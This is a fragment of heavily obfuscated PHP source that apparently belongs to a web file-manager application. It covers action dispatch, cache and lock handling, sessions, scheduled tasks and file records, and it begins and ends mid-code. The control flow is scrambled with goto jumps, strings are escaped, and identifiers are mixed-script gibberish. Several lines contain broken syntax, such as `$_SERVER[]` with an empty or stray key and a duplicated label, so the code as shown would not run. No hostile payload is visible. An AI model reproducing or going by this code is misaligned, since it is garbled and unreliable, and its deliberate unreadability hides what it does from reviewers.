$A̅ = $b׏[8]; if (isset($aߜנ[1]) && substr(strtolower($aߜנ[1]), -5) == $b׏[9]) { $FƟ = $D . $aߜנ[1]; $A̅ = $b׏[10] . $aߜנ[1] . $b׏[11]; } else { if (count($aߜנ) == 3) { $FƟ = $D . $aߜנ[1] . $aߜנ[2]; $A̅ = $b׏[12] . $aߜנ[1] . $b׏[13] . $aߜנ[2] . $b׏[11]; } } $A̅ = PLUGIN_DIR . $D . $b׏[4] . $A̅; } else { if (substr($EΏ, -5) == $b׏[9]) { $D = substr($aߜנ[0], 0, -5); return Model($D); } else { $FƟ = $aߜנ[0] . $aߜנ[1]; $A̅ = CONTROLLER_DIR . $aߜנ[0] . $b׏[4] . $aߜנ[1] . $b׏[14]; } } $eةꮕ = strtolower($FƟ); goto B; dʿŖ: } function ActionApply($cº, $CDž = array()) { goto cђп; E: $b = substr($cº, 0, $Fʑ); $E֨ = substr($cº, $Fʑ + 1); $DϹ = Action($b); goto e܂; cђп: if (is_array($cº)) { return call_user_func_array($cº, $CDž); } if (function_exists($cº)) { return call_user_func_array($cº, $CDž); } $Fʑ = strrpos($cº, $_SERVER[][5]); goto E; e܂: if (!method_exists($DϹ, $E֨)) { return actionCallError("{$cº}\x20\x6d\145\x74\x68\x6f\x64\40\x6e\x6f\x74\x20\x65\x78\151\x73\x74\163\x21"); } $Aة = call_user_func_array(array($DϹ, $E֨), $CDž); return $Aة; goto d̍; d̍: } function actionCallError($F) { $A =& $_SERVER[]; $D = json_encode_force(array($A[15] => this_url(), $A[16] => $GLOBALS[$A[16]])); $D = str_replace(array($A[17]), array($A[4]), $D); return write_log($F . $A[18] . $D, $A[19]); } goto Bب; DÖߦ: class Cache { protected static $handle; protected static $memoryCache; public static function init() { goto d溨; A䟤: $C = $GLOBALS[$E[6]][$E[333]]; $Aٻ𗒧 = $C[$C[$E[750]]]; $B눶 = $C[$E[751]]; goto A; d溨: $E =& $_SERVER[ֹ]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); goto A䟤; A: switch ($C[$E[750]]) { case $E[17]: self::$handle = Model($E[752]); break; case $E[753]: self::$handle = new CacheRedis($Aٻ𗒧, $B눶); break; case $E[754]: self::$handle = new CacheMemcached($Aٻ𗒧, $B눶); break; case $E[163]: self::$handle = new CacheFile($Aٻ𗒧, $B눶); break; default: break; } return self::$handle; goto fʆ; fʆ: } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($Cե֯) { if (is_array($Cե֯) || is_object($Cե֯)) { $Cե֯ = json_encode($Cե֯); } $Cե֯ = rawurlencode($Cե֯); return KOD_SITE_ID . $_SERVER[ֹ][70] . $Cե֯; } public static function get($b񱈽) { $A = self::key($b񱈽); if (!isset(self::$memoryCache[$A])) { $DLJ = self::init()->get($A); self::$memoryCache[$A] = unserialize($DLJ); } return self::$memoryCache[$A]; } public static function set($E, $f­, $Bѫ = false) { goto c; c: $aǤ = self::key($E); if (isset(self::$memoryCache[$aǤ]) && self::$memoryCache[$aǤ] === $f­) { return !0; } if ($Bѫ === 0) { self::$memoryCache[$aǤ] = $f­; return !0; } goto aР; aР: CacheLock::lock($E); $Bߖ = self::init()->set($aǤ, serialize($f­), $Bѫ); self::$memoryCache[$aǤ] = $f­; goto fٝ; fٝ: CacheLock::unlock($E); return $Bߖ; goto Cӎ; Cӎ: } public static function remove($fɫِ) { goto D; b: return $a; goto D; D: $eŧ = self::key($fɫِ); unset(self::$memoryCache[$eŧ]); self::clearTimeout(); goto C荱; C荱: CacheLock::lock($fɫِ); $a = self::init()->remove($eŧ); CacheLock::unlock($fɫِ); goto b; D: } public static function clearMemory($cߧ砪 = false) { if ($cߧ砪) { $cߧ砪 = self::key($cߧ砪); unset(self::$memoryCache[$cߧ砪]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[ֹ][755])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[ֹ][756])) { self::init()->clearTimeout(); } } } class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($Bˊ, $f呺) { $E؅ =& $_SERVER[ֹ]; $this->cachePath = $Bˊ[$E؅[75]]; $this->prefix = $E؅[757]; $this->cacheTime = $f呺; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, 511, !0); } } public function getFile($b) { $AŽ =& $_SERVER[ֹ]; $b = str_replace(array($AŽ[758], $AŽ[93], $AŽ[69]), $AŽ[759], $b); return $this->cachePath . $AŽ[760] . $b . $AŽ[761]; } public function set($EǢ̇, $aʞ޴, $a̒ = false) { $Aᖶ = $this->getFile($EǢ̇); if (file_put_contents($Aᖶ, $this->prefix . $aʞ޴, LOCK_EX)) { return !0; } @unlink($Aᖶ); return !1; } public function get($dѮ) { $d = $this->getFile($dѮ); if (file_exists($d) && filemtime($d) < time() - $this->cacheTime) { @unlink($d); return !1; } $E = @file_get_contents($d); return substr($E, strlen($this->prefix)); } public function remove($Fſ) { $Cύ = $this->getFile($Fſ); return @unlink($Cύ); } public function deleteAll() { $f =& $_SERVER[ֹ]; $C = scandir($this->cachePath); foreach ($C as $d塞Ͽ) { $aʩЩ = $this->cachePath . $d塞Ͽ; if (strpos($aʩЩ, $f[761]) && strpos($aʩЩ, $f[762])) { @unlink($aʩЩ); } } } public function clearTimeout() { $bٙï =& $_SERVER[ֹ]; $bԩ = scandir($this->cachePath); foreach ($bԩ as $Fڕ) { $bۣ = $this->cachePath . $Fڕ; if (strpos($bۣ, $bٙï[761]) && strpos($bۣ, $bٙï[762]) && filemtime($bۣ) < time() - $this->cacheTime) { @unlink($bۣ); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { goto Fɭڲ; Fɭڲ: $eꦝ =& $_SERVER[ֹ]; if (self::$handle) { return self::$handle; } $C󆖯 = $GLOBALS[$eꦝ[6]][$eꦝ[333]]; goto fԛ; cɱ趬: if ($EǮ == $eꦝ[17] && $BѪ == $eꦝ[9]) { $EǮ = $eꦝ[163]; } switch ($EǮ) { case $eꦝ[753]: self::$handle = new CacheLockRedis(); break; case $eꦝ[754]: self::$handle = new CacheLockMemcached(); break; case $eꦝ[17]: self::$handle = new CacheLockDatabase(); break; case $eꦝ[163]: self::$handle = new CacheLockFile(); break; default: break; } return self::$handle; goto a; fԛ: self::$timeout = $C󆖯[$eꦝ[763]] ? $C󆖯[$eꦝ[763]] : 10; $BѪ = _get($GLOBALS[$eꦝ[6]], $eꦝ[764]); $EǮ = $C󆖯[$eꦝ[750]] ? $C󆖯[$eꦝ[750]] : $eꦝ[163]; goto cɱ趬; a: } private static function key($d) { return $_SERVER[ֹ][765] . Cache::key($d); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($Fފ = '') { self::$errorMsg = $Fފ; } public static function lockGlobal($b܆, $fă) { return self::lock($b܆, $fă, !0); } public static function lock($bԗʢ, $Eܼȷ = false, $eڃ = false) { goto e; bŨċ: if (!$eڃ) { self::$lockItem[$c՜] = !0; } return $eӒޤ; goto b𠡟; e: $Aؚ =& $_SERVER[ֹ]; $E = self::init(); $c՜ = self::key($bԗʢ); goto Aݥ; Aݥ: $Eܼȷ = $Eܼȷ ? $Eܼȷ : self::$timeout; $eӒޤ = $E->lock($c՜, $Eܼȷ); if (!$eӒޤ) { $bܚ = $Aؚ[766] . $Eܼȷ . $Aؚ[67] . self::$errorMsg . $Aؚ[67] . get_caller_msg(); $Dڌ = "\x4c\157\143\x6b\x20\141\143\164\x69\157\x6e\x3a\x20{$c՜}\40\164\x69\x6d\145\157\165\x74\54\x6f\166\x65\x72\x20{$Eܼȷ}\x20\x73"; $Dڌ = self::$errorMsg ? self::$errorMsg : $eק; write_log($bܚ, $Aؚ[767]); show_json($Dڌ, !1); } goto bŨċ; b𠡟: } public static function lockGet($D낿) { $B = self::key($D낿); if (self::$lockItem[$B]) { return self::$lockItem[$B]; } return self::init()->lockGet($B); } public static function unlock($bۋĄ) { $d = self::key($bۋĄ); self::$lockItem[$d] = null; return self::init()->unlock($d); } public static function unlockRuntime() { $e =& $_SERVER[ֹ]; $dϔɈ = self::init(); $aˆ = !1; foreach (self::$lockItem as $eޚ => $eԑ݋) { if (!$eԑ݋) { continue; } $dϔɈ->unlock($eޚ); if (!$aˆ) { $aˆ = !0; write_log($e[768] . $eޚ . $e[67] . get_caller_msg(), $e[767]); continue; } write_log($e[768] . $eޚ, $e[767]); } } } goto a۰; D߻: function beforeShutdownError($B둰 = false, $E鹲 = '', $c˻Ͼ = '', $CΗ = 0) { $a =& $_SERVER[]; switch ($B둰) { case E_PARSE: case E_ERROR: case E_CORE_ERROR: case E_COMPILE_ERROR: case E_USER_ERROR: $C󋹏 = $a[39]; break; case E_WARNING: case E_USER_WARNING: case E_COMPILE_WARNING: case E_RECOVERABLE_ERROR: $C󋹏 = $a[40]; break; case E_STRICT: $C󋹏 = $a[41]; break; case E_NOTICE: case E_USER_NOTICE: $C󋹏 = $a[42]; break; case E_DEPRECATED: case E_USER_DEPRECATED: $C󋹏 = $a[43]; break; default: break; } if (!$C󋹏 || $C󋹏 == $a[42] || $C󋹏 == $a[43]) { return; } $c˻Ͼ = $a[4] . str_replace($_SERVER[$a[37]], $a[20], $c˻Ͼ); $dӭ = $C󋹏 . $a[44] . $E鹲 . $a[44] . $c˻Ͼ . $a[44] . $CΗ; write_log($dӭ . $a[18] . get_caller_msg(1), $a[19]); } $_SERVER[$_SERVER[][45]] = $_SERVER[$_SERVER[][37]] . $_SERVER[][46]; $fӕ򫟪 = strrev(base64_decode($_SERVER[][47])); goto A; Bب: function ActionCall($b褗) { $a = array_slice(func_get_args(), 1); return ActionApply($b褗, $a); } function ActionCallApi($B׃, $FĂ = '') { goto FˏՖҖ; FˏՖҖ: $EѢ =& $_SERVER[]; $f槳 = $FĂ; if (is_array($FĂ)) { $f槳 = $EѢ[20]; foreach ($FĂ as $Dϡ޺ => $FΥ) { $FΥ = is_array($FΥ) ? json_encode($FΥ) : $FΥ; $FΥ = is_bool($FΥ) ? intval($FΥ) : $FΥ; $f槳 .= $EѢ[21] . $Dϡ޺ . $EѢ[22] . rawurlencode($FΥ); } } goto dӘ뎈; f: return $f; goto bɡ̖; eֹ: $c؋׶ = json_decode($C̷, !0); $f = is_array($c؋׶) ? $c؋׶ : array($EѢ[33] => null, $EѢ[34] => $C̷); if (!$c؋׶) { echo $C̷; } goto f; dӘ뎈: $dֶ = Action($EѢ[23])->accessToken(); $B׃ = str_replace($EѢ[5], $EѢ[4], $B׃) . $EѢ[24] . $dֶ . $f槳; $C̷ = $EѢ[20]; goto c߃; c߃: $A诜 = phpBinCommand(); if ($A诜 && function_exists($EѢ[25])) { $bբ = $A诜 . $EѢ[26] . BASIC_PATH . $EѢ[27] . escapeshellarg($B׃); $C̷ = shell_exec($bբ); } if (!$C̷) { $A = stream_context_create(array($EѢ[28] => array($EѢ[29] => 20, $EѢ[30] => $EѢ[31]))); $C̷ = file_get_contents(APP_HOST . $EѢ[32] . $B׃, !1, $A); } goto eֹ; bɡ̖: } function ActionCallHook($D) { goto d밶; aؿ: $GLOBALS[$Aˡ柲[35]] = 1; $E̊ = ActionApply($D, $Aӧ); $Eό = ob_get_clean(); goto E; E: $E̊ = $Eό ? json_decode($Eό, !0) : $E̊; $GLOBALS[$Aˡ柲[35]] = 0; return $E̊; goto B; d밶: $Aˡ柲 =& $_SERVER[]; ob_start(); $Aӧ = array_slice(func_get_args(), 1); goto aؿ; B: } goto dĻ; dΓ: class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { goto d؅; bݴ: $C = $GLOBALS[$a[6]][$a[333]]; self::$sessionTime = $C[$a[1375]]; $aǖۣ = SESSION_ID; goto C; d؅: $a =& $_SERVER[ֹ]; static $AʠБ = false; if ($AʠБ) { return $AʠБ; } goto bݴ; Bܑ: switch ($f̟) { case $a[17]: self::$handle = Model($a[752]); break; case $a[753]: self::$handle = new CacheRedis($a牙, $E); break; case $a[754]: self::$handle = new CacheMemcached($a牙, $E); break; case $a[163]: $a牙[$a[75]] = $a牙[$a[75]] . $a[1378]; self::$handle = new CacheFile($a牙, $E); default: break; } if (!self::$data) { CacheLock::lock(self::$sessionSign); self::$data = self::$handle->get(self::$sessionSign); CacheLock::unlock(self::$sessionSign); self::$data = unserialize(self::$data); if (!is_array(self::$data)) { self::$data = array(); } } $AʠБ = new self(); goto E; E: return $AʠБ; goto DΎ; C: $aǖۣ = _get($GLOBALS, $a[1376], $aǖۣ); if (self::$sessionSign) { } else { if (Cookie::get($aǖۣ)) { self::$sessionSign = Cookie::get($aǖۣ); } else { self::$sessionSign = guid(); } } Cookie::setSafe($aǖۣ, self::$sessionSign, self::$sessionTime); goto dȌŇ; dȌŇ: $f̟ = $C[$a[1377]]; $a牙 = $C[$f̟]; $E = $C[$a[751]]; goto Bܑ; DΎ: } public static function sign($dĿ = false) { $dĿ && (self::$sessionSign = $dĿ); self::init(); return self::$sessionSign; } public static function set($F, $fܤ = false) { self::init(); if (is_array($F)) { foreach ($F as $DՇ => $f) { array_set_value(self::$data, $DՇ, $f); } } else { array_set_value(self::$data, $F, $fܤ); } CacheLock::lock(self::$sessionSign); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); CacheLock::unlock(self::$sessionSign); } public static function get($FΌ = false) { self::init(); if (!$FΌ) { return self::$data; } return array_get_value(self::$data, $FΌ); } public static function remove($A쳫) { self::init(); unset(self::$data[$A쳫]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[ֹ][756])) { self::$handle->clearTimeout(); } } } class AutoTask { public static function start() { goto B숆Ҟ; B숆Ҟ: $f뙳 =& $_SERVER[ֹ]; if (self::valueGet($f뙳[686]) != $f뙳[83]) { return; } if (self::valueGet($f뙳[1379]) == $f뙳[83]) { $eใ۴ = self::valueGet($f뙳[1380]); if (time() - $eใ۴ > 3600 * 2) { self::restart(); } return; } goto a; F: while (!0) { self::cacheClear(); if (self::valueGet($f뙳[686]) != $f뙳[83]) { self::valueSet($f뙳[1379], $f뙳[464]); self::log($f뙳[1383]); die; } self::valueSet($f뙳[1379], $f뙳[83]); self::valueSet($f뙳[1380], time()); self::taskRunAll(); sleep(self::valueGet($f뙳[1384])); } goto Ažˉ; a: http_close(); self::valueSet($f뙳[1379], $f뙳[83]); Hook::bind($f뙳[1381], $f뙳[1382]); goto F; Ažˉ: } public static function restart() { $bտ懤ߜ =& $_SERVER[ֹ]; http_close(); self::valueSet($bտ懤ߜ[686], $bտ懤ߜ[464]); sleep(self::valueGet($bտ懤ߜ[1384]) + 5); self::valueSet($bտ懤ߜ[1379], $bտ懤ߜ[464]); self::valueSet($bտ懤ߜ[686], $bտ懤ߜ[83]); } public static function shutdownEvent() { $D徧 =& $_SERVER[ֹ]; self::valueSet($D徧[1379], $D徧[464]); self::log($D徧[1385]); } public static function config($a؋, $D˥) { $dʤ =& $_SERVER[ֹ]; $Bܝ = 20; $D˥ = intval($D˥) <= $Bܝ ? $Bܝ : intval($D˥); self::valueSet($dʤ[686], $a؋); self::valueSet($dʤ[1384], $D˥); } private static function taskRunAll() { $Bܫ =& $_SERVER[ֹ]; $C = Model($Bܫ[1386])->listData(); $aǥ = count($C); for ($f = 0; $f < $aǥ; $f++) { $d = $C[$f]; if ($d[$Bܫ[1387]] != $Bܫ[83]) { continue; } if (!self::taskTimeCheck($d)) { continue; } self::taskRun($d); } Hook::trigger($Bܫ[1388]); } private static function taskTimeCheck($Eг) { goto B; B: $bǛ =& $_SERVER[ֹ]; $f = json_decode($Eг[$bǛ[186]], !0); $c񬴂ۃ = intval($Eг[$bǛ[1380]]); goto Aٟ䘦; E: switch ($f[$bǛ[29]]) { case $bǛ[1395]: if (time() - $c񬴂ۃ < 3600 * 24 * 30) { return !1; } if ($f[$bǛ[1395]] == date($bǛ[1396]) && $eIJɑ) { return !0; } break; case $bǛ[1397]: if (time() - $c񬴂ۃ < 3600 * 24 * 7) { return !1; } $Aޔ¤ = date($bǛ[1398]) == 0 ? 7 : date($bǛ[1398]); if ($f[$bǛ[1397]] == $Aޔ¤ && $eIJɑ) { return !0; } break; case $bǛ[1390]: if (time() - $c񬴂ۃ < 3600 * 24) { return !1; } if ($eIJɑ) { return !0; } break; case $bǛ[1399]: if (time() - $c񬴂ۃ >= floatval($f[$bǛ[1399]]) * 60) { return !0; } break; default: break; } return !1; goto c; Aٟ䘦: $cƫ = strtotime($bǛ[1389] . $f[$bǛ[1390]] . $bǛ[1391]) - strtotime($bǛ[1392]); $a٬ = time() - strtotime(date($bǛ[1393]) . $bǛ[1394]); $eIJɑ = $a٬ >= $cƫ && $a٬ <= $cƫ + 3600; goto E; c: } public static function taskRun($fʜѥ) { goto BƎ; BƎ: $e =& $_SERVER[ֹ]; self::log($e[1400] . $fʜѥ[$e[363]] . $e[1401] . $fʜѥ[$e[28]] . $e[1402] . $fʜѥ[$e[1403]]); Model($e[1386])->run($fʜѥ[$e[363]]); goto aԇ; aԇ: $Aߜ = timeFloat(); $e჆ = $e[33]; switch ($fʜѥ[$e[29]]) { case $e[291]: $AѬ = url_request($fʜѥ[$e[1403]], $e[212], !1, !1, !1, !1, 5); $e჆ = strlen($AѬ); break; case $e[211]: $e჆ = Hook::apply($fʜѥ[$e[1403]]); default: break; } goto b煲; b煲: Model($e[1404])->add(array($e[1405] => $e[33], $e[1406] => $e[464], $e[29] => $e[1407] . $fʜѥ[$e[363]], $e[1408] => json_encode(array($e[28] => $fʜѥ[$e[28]], $e[1409] => timeFloat() - $Aߜ, $e[277] => $e჆)))); self::log($e[1410] . $fʜѥ[$e[363]] . $e[1411] . $e჆); return !0; goto EИ; EИ: } private static function valueGet($dÒ) { $eԚΧ =& $_SERVER[ֹ]; $Aѥណ = $eԚΧ[1412]; $b⒚ = Model($eԚΧ[1413])->get($dÒ, $Aѥណ); if (is_null($b⒚)) { Model($eԚΧ[1413])->set($eԚΧ[1384], 10, $Aѥណ); Model($eԚΧ[1413])->set($eԚΧ[686], $eԚΧ[83], $Aѥណ); Model($eԚΧ[1413])->set($eԚΧ[1379], $eԚΧ[464], $Aѥណ); $b⒚ = Model($eԚΧ[1413])->get($dÒ, $Aѥណ); } return $b⒚; } private static function valueSet($D, $e³) { $b =& $_SERVER[ֹ]; return Model($b[1413])->set($D, $e³, $b[1412]); } protected static function log($eل) { write_log($eل, $_SERVER[ֹ][1414]); } private static function cacheClear() { $f먉 =& $_SERVER[ֹ]; $Cը = Model($f먉[1413])->cacheKey($f먉[1412]); Cache::clearMemory($Cը); } } class Task { const STATYS_STOP = "\x73\x74\x6f\x70"; const STATYS_RUNNING = "\x72\x75\156\156\x69\x6e\147"; const STATYS_KILL = "\x6b\x69\x6c\x6c"; public $task; public function __destruct() { $this->end(); } public function __construct($f̎, $f = '', $F牐ʳ = 0, $eĉ = '') { goto FɝԼ; cՍ: Hook::bind($f쯥[1381], array($this, $f쯥[1423])); Hook::bind($f쯥[1424], array($this, $f쯥[1425])); $this->startAfter(); goto aГ; aГ: Hook::trigger($f쯥[1426], $this->task); $this->task[$f쯥[1420]] = timeFloat(); self::valueSet($this->task[$f쯥[363]], $this->task); goto C; FɝԼ: $f쯥 =& $_SERVER[ֹ]; if (self::get($f̎)) { return; } $this->task = array($f쯥[363] => $f̎, $f쯥[1415] => USER_ID, $f쯥[1323] => $eĉ, $f쯥[29] => $f, $f쯥[974] => $f쯥[33], $f쯥[972] => $F牐ʳ, $f쯥[984] => 0, $f쯥[1416] => 0, $f쯥[1417] => 0, $f쯥[1418] => timeFloat(), $f쯥[1419] => 0, $f쯥[1420] => 0, $f쯥[1421] => 0, $f쯥[1422] => 0, $f쯥[686] => $f쯥[1379]); goto cՍ; C: } public function end() { goto C‡; C‡: $D߇ =& $_SERVER[ֹ]; if (!$this->task) { return; } if ($this->task[$D߇[1420]]) { self::valueSet($this->task[$D߇[363]], !1); } goto C鿋; A: Hook::unbind($D߇[1424], array($this, $D߇[1425])); $this->endAfter(); $this->task = !1; goto eƉچ; C鿋: $D = timeFloat() - $this->task[$D߇[1418]]; self::log($D߇[1427] . $this->task[$D߇[363]] . $D߇[1428] . $D . $D߇[1429]); Hook::unbind($D߇[1381], array($this, $D߇[1423])); goto A; eƉچ: } public function update($fǡ = 0) { goto Cӣͤ; Cœ: $F[$C[984]] += $fǡ; $F[$C[1419]] = timeFloat(); if ($F[$C[972]]) { if ($F[$C[972]] < $F[$C[984]]) { $F[$C[972]] = $F[$C[984]]; } $D = timeFloat() - $F[$C[1418]] - $F[$C[1421]]; $F[$C[1416]] = $F[$C[984]] / $F[$C[972]]; $F[$C[1417]] = $F[$C[984]] / $D; if ($F[$C[1416]] > 0) { $F[$C[1422]] = $D * (1 - $F[$C[1416]]) / $F[$C[1416]]; } $F[$C[1422]] = $F[$C[1422]] <= 0 ? 0 : $F[$C[1422]]; } goto b欼; a: $E՘ = self::get($F[$C[363]]); $E裻 = $E՘[$C[686]]; if ($E裻 == self::STATYS_KILL) { $eካ = array($C[1430] => LNG($C[1431]), $C[1026] => !1); Cache::set($C[1432] . $this->task[$C[363]], $eካ, 30); $this->end(); die; } else { if ($E裻 == self::STATYS_STOP) { $bŤ = 2; $E՘[$C[1421]] += $bŤ; self::valueSet($F[$C[363]], $E՘); sleep($bŤ); $this->update(); return; } } goto Eͽ; b欼: $this->updateAfter(); $Bל = 0.2; if (timeFloat() - $F[$C[1420]] < $Bל) { return; } goto a; Cӣͤ: $C =& $_SERVER[ֹ]; $F =& $this->task; if (!$F) { return; } goto Cœ; Eͽ: $F[$C[686]] = $E裻 ? $E裻 : $F[$C[686]]; $F[$C[1421]] = $E՘[$C[1421]] ? $E՘[$C[1421]] : 0; $F[$C[1420]] = timeFloat(); goto D; D: Hook::trigger($C[1433], $F); self::valueSet($F[$C[363]], $F); goto Bӈ; Bӈ: } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($F) { $b͂洔ʵ =& $_SERVER[ֹ]; Cache::set($b͂洔ʵ[1432] . $this->task[$b͂洔ʵ[363]], $F, 60); return $F; } public static function get($Dǥ) { return self::valueGet($Dǥ); } public static function listData() { $F = self::valueGet(); return array_sort_by($F, $_SERVER[ֹ][1418], !0); } public static function kill($Bө) { return self::changeStatus($Bө, self::STATYS_KILL); } public static function stop($Fح̐) { return self::changeStatus($Fح̐, self::STATYS_STOP); } public static function restart($d) { return self::changeStatus($d, self::STATYS_RUNNING); } public static function killAll() { $fпۻ =& $_SERVER[ֹ]; $b˜̾ = self::listData(); foreach ($b˜̾ as $eΜ) { self::kill($eΜ[$fпۻ[363]]); } sleep(2); foreach ($b˜̾ as $eΜ) { self::valueSet($eΜ[$fпۻ[363]], !1); } } private static function changeStatus($dᯣ, $E݋) { goto Bµ; D훾: return !0; goto A۹; Dȩ喝: $Cۉ[$Dт[686]] = $E݋; self::valueSet($dᯣ, $Cۉ); self::log($Dт[1434] . $Cۉ[$Dт[363]] . $Dт[1435] . $E݋); goto D훾; Bµ: $Dт =& $_SERVER[ֹ]; $Cۉ = self::valueGet($dᯣ); if (!$Cۉ) { return !1; } goto Dȩ喝; A۹: } public static function valueGet($cʍי = false) { $D =& $_SERVER[ֹ]; if ($cʍי) { $fݝ = Model($D[395])->where(array($D[89] => $cʍי, $D[29] => $D[1436]))->find(); return $fݝ ? json_decode($fݝ[$D[355]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($dం = false) { goto DԼ; C̕: return $e; goto d; D㑍: $e = Model($Dͱ[395])->where($e⸊)->select(); $e = $e ? $e : array(); foreach ($e as $c͇ => $A) { $e[$c͇] = json_decode($A[$Dͱ[355]], !0); } goto C̕; DԼ: $Dͱ =& $_SERVER[ֹ]; $e⸊ = array($Dͱ[29] => $Dͱ[1436]); if ($dం) { $e⸊[$Dͱ[1415]] = $dం; } goto D㑍; d: } public static function valueSet($bь, $eك) { goto f; eњ: if (!$BƤʝ) { ob_start(); var_dump($eك); $e̛ = ob_get_clean(); self::log($bƆۭݣ[1437] . json_encode_force($e̛)); } if (!$bь || !$eك[$bƆۭݣ[363]]) { return !1; } $a = array($bƆۭݣ[29] => $bƆۭݣ[1436], $bƆۭݣ[1415] => USER_ID, $bƆۭݣ[89] => $bь, $bƆۭݣ[355] => $BƤʝ); goto D⋜; D⋜: Model($bƆۭݣ[395])->add($a, array(), !0); goto E; f: $bƆۭݣ =& $_SERVER[ֹ]; if (!$eك) { return Model($bƆۭݣ[395])->where(array($bƆۭݣ[89] => $bь, $bƆۭݣ[29] => $bƆۭݣ[1436]))->delete(); } $BƤʝ = json_encode($eك); goto eњ; E: } public static function log($bܟ) { write_log($bܟ, $_SERVER[ֹ][1438]); } } goto B𨄉; B: class FileModel extends ModelBase { protected $tableName = "\x69\x6f\137\x66\x69\154\x65"; protected $tableMeta = array("\x74\x61\x62\154\145\116\141\155\145" => "\151\157\137\146\151\x6c\x65\137\155\x65\x74\x61", "\155\145\x74\141\106\x69\145\x6c\144" => "\x66\x69\x6c\145\111\104"); public function fileInfo($dם) { $e =& $_SERVER[ֹ]; static $D㑘 = array(); if (!isset($D㑘[$dם])) { $B = $e[2122]; $d = Model($e[418])->field($B)->where(array($e[416] => $dם))->find(); $D㑘[$dם] = $d; } return $D㑘[$dם]; } public function addFileByContent($f = '', $C؎ѤΑ = '') { goto C蔓; e: if (file_exists($cƈ)) { @unlink($cƈ); } return $Eǘ; goto a݊; C蔓: $Fˋ =& $_SERVER[ֹ]; $C = TEMP_PATH . $Fˋ[2123]; if (!is_dir($C)) { mk_dir($C); } goto B; B: $cƈ = $C . $Fˋ[2124] . rand_string(16); file_put_contents($cƈ, $f); $Eǘ = $this->addFile($cƈ, $C؎ѤΑ, !0); goto e; a݊: } public function createFileName($E) { goto D羿; D羿: $Fȵ =& $_SERVER[ֹ]; $AʧՕ = IO::init($Fȵ[8]); $E󌂌 = $this->makeFilePath($E, $AʧՕ); goto B; B: $E̪ = $AʧՕ->pathFather($E󌂌); static $B獉 = false; $eؼ™ = $Fȵ[2125] . md5($E̪); goto BЮ; BЮ: if (!$B獉 && !Cache::get($eؼ™)) { $B獉 = !0; $bﷵ = IO::mkdir($E̪); if (!IO::exist($bﷵ . $Fȵ[2126])) { IO::mkfile($bﷵ . $Fȵ[2126]); } Cache::set($eؼ™, 1, 3600 * 2); } return $E󌂌; goto e; e: } public function makeFilePath($f, $C) { goto EƑ; Aŗ: switch ($cۤ) { case $C[2130]: $A鳠 = $A鳠 . $C[91] . $C->ext($f); if ($C->ext($f) == $C[2069]) { $A鳠 .= $C[2131]; } break; case $C[2132]: goto B۸; Cљ: break; goto C␢; CӅ: if ($C->ext($f) == $C[2069]) { $f .= $C[2131]; } $aϳ = IO::fileNameAuto($F, $f); $A鳠 = $F . $aϳ; goto Cљ; B۸: $Cݩ = Model($C[1082])->get($C[1316]); $aӷÇ = substr(md5($C[1889] . $Cݩ . date($C[684])), 0, 8); $F = KodIO::defaultIO() . date($C[2133]) . $aӷÇ . $C[8]; goto CӅ; C␢: case $C[2129]: break; default: break; } return $A鳠; goto BӋۛ; A: $A鳠 = $F . rand_string(5) . short_id(100); $f = str_replace($C[8], $C[70], KodIO::clear($f)); if (!$f) { $cۤ = $C[2129]; } goto Aŗ; EƑ: $C =& $_SERVER[ֹ]; $cۤ = Model($C[1082])->get($C[2127]); $F = KodIO::defaultIO() . date($C[2128]); goto A; BӋۛ: } public function addFileByRemote($c՘, $C, $bխ۠ = array()) { goto e𵱘; D̥: $dը = IO::hashMd5($c՘, $eӹ); $c = KodIO::defaultDriver(); $A¶ = array($F[516] => IO::size($c՘), $F[2134] => 1, $F[382] => $C, $F[732] => $c[$F[363]], $F[383] => $c՘, $F[2135] => $bխ۠[$F[160]] ? $bխ۠[$F[160]] : IO::hashSimple($c՘), $F[2136] => $dը ? $dը : $eӹ); goto cå; cå: if ($Cآ = $this->addFileCheckExist($A¶[$F[160]], $A¶[$F[159]], $A¶[$F[77]])) { return $Cآ; } return $this->addFileData($A¶); goto A; e𵱘: $F =& $_SERVER[ֹ]; if (!IO::exist($c՘)) { return !1; } $eӹ = $bխ۠[$F[159]] ? $bխ۠[$F[159]] : $F[33]; goto D̥; A: } private function addFileData($d) { $eڰ΃ =& $_SERVER[ֹ]; if (!$d) { return !1; } $d[$eڰ΃[77]] = intval($d[$eڰ΃[77]]); if (!$d[$eڰ΃[77]] && strlen($d[$eڰ΃[160]]) > 32) { $d[$eڰ΃[77]] = intval(substr($d[$eڰ΃[160]], 32)); } $Cˣ = $this->add($d); return $this->find($Cˣ); } public function addFile($f԰, $E, $dٕ = false) { $c = IO::hashSimple($f԰); $b󄔧 = IO::hashMd5($f԰); $C = IO::size($f԰); if ($aґ = $this->addFileCheckExist($c, $b󄔧, $C)) { return $aґ; } $eɐ = $this->addFileMake($f԰, $C, $c, $b󄔧, $E, $dٕ); return $this->addFileData($eɐ); } public function addFileMake($f뫆, $C߰➜, $d, $E, $c, $eݲސ) { goto cԝΦ; Dʎ: $Aޢ = get_path_this($bɒ); if ($eݲސ) { $f = IO::move($f뫆, $E, !1, $Aޢ); } else { $f = IO::copy($f뫆, $E, !1, $Aޢ); } if (!$f) { return !1; } goto B; B: $bѨ = KodIO::defaultDriver(); $A = array($FȲ[516] => $C߰➜, $FȲ[2134] => 1, $FȲ[382] => $c, $FȲ[732] => $bѨ[$FȲ[363]], $FȲ[383] => $bɒ, $FȲ[2135] => $d, 